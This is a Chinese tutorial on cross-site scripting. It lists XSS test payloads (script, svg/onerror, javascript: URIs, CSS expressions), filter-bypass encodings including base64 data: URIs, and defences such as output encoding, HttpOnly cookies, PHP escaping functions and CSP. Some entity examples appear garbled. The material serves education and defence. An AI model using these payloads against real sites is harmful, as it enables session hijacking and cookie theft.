XSS编码绕过和防御
字数 1133 2025-08-15 21:31:32
XSS编码绕过与防御技术详解
第一部分:XSS测试语句与攻击向量
1.1 基础XSS测试语句
<script>alert(1)</script> // 基础弹窗测试
<script>alert(document.cookie)</script> // 获取cookie
<script src=x onerror=alert(1)></script> // 资源加载失败触发
<svg onload=alert(1)> // SVG图形加载触发
<video src=1 onerror=alert(1)> // 视频加载失败触发
<audio src=1 onerror=alert(1)> // 音频加载失败触发
<a href=javascript:alert(1)></a> // JavaScript伪协议触发
1.2 XSS攻击思路分类
标签外XSS
- 需要构造完整JS标签
- 示例:
<p>hello <script type="text/javascript">alert('html标签外XSS')</script></p>
标签内XSS
- 需要闭合当前标签并构造事件属性
- 示例场景:
<body {构造事件payload}>
<input type="text" name="" value="{payload}">
1.3 CSS触发XSS
<body style="background:url('javascript:alert("xxxx")')"> <!-- IE9/7/10有效 -->
<!-- IE9有效 -->
<style>body{xss:expression(alert('body_xss'));}</style> <!-- IE9有效 -->
1.4 Script标签内XSS
<script>
var x = 'hello'</script><script>alert(111)</script>';
</script>
1.5 JavaScript伪协议
<iframe src="javascript:alert(111)"></iframe>
<a href="javascript:alert(111)">aaa</a>
第二部分:编码绕过技术
2.1 编码类型概述
- URL编码:
%20(空格) - HTML编码:
<(<) - JavaScript编码:八进制
\074、十六进制\x3c、Unicode\u003c - Base64编码:配合data协议使用
2.2 HTML实体编码
- 十进制:
alert(1)→ alert(1) - 十六进制:
alert(1)→ alert(1)
2.3 JavaScript编码
- Unicode编码示例:
2.4 Base64与Data协议
Base64编码示例
<script>alert(1)</script>→PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==- `` →
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
Data协议格式
data:[<MIME-type>][;charset=<encoding>][;base64],<data>
应用示例
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
第三部分:XSS防御技术
3.1 防御策略
-
输入过滤:
- 白名单过滤(推荐):只允许预定义的安全字符
- 黑名单过滤:禁止已知危险字符
-
输出编码:
- 对输出到HTML的内容进行编码转换
-
HTTP-only Cookie:
- 设置
HttpOnly标志防止JS读取cookie
- 设置
3.2 防御函数
1. htmlspecialchars()
$str = "<script>alert(document.cookie)</script>";
echo htmlspecialchars($str, ENT_QUOTES);
- 转换规则:
- & → &
- " → "
- ' → '
- < → <
-
→ >
2. htmlentities()
$str = "Bill & 'Steve'";
echo htmlentities($str, ENT_QUOTES);
3. strip_tags()
echo strip_tags("Hello <b>world!</b>"); // 输出: Hello world!
$str = "<script>alert(document.cookie);</script>";
echo strip_tags($str); // 输出: alert(document.cookie);
3.3 其他防御建议
-
内容安全策略(CSP):
- 限制脚本来源
- 禁止内联脚本执行
-
输入验证:
- 对用户输入进行严格验证
- 使用正则表达式过滤特殊字符
-
输出编码上下文感知:
- HTML上下文使用HTML编码
- JavaScript上下文使用JS编码
- URL上下文使用URL编码
-
框架安全特性:
- 使用现代框架(如React、Angular)的内置XSS防护
- 避免直接使用innerHTML等危险API
-
定期安全审计:
- 检查应用程序中的潜在XSS漏洞
- 使用自动化扫描工具辅助检测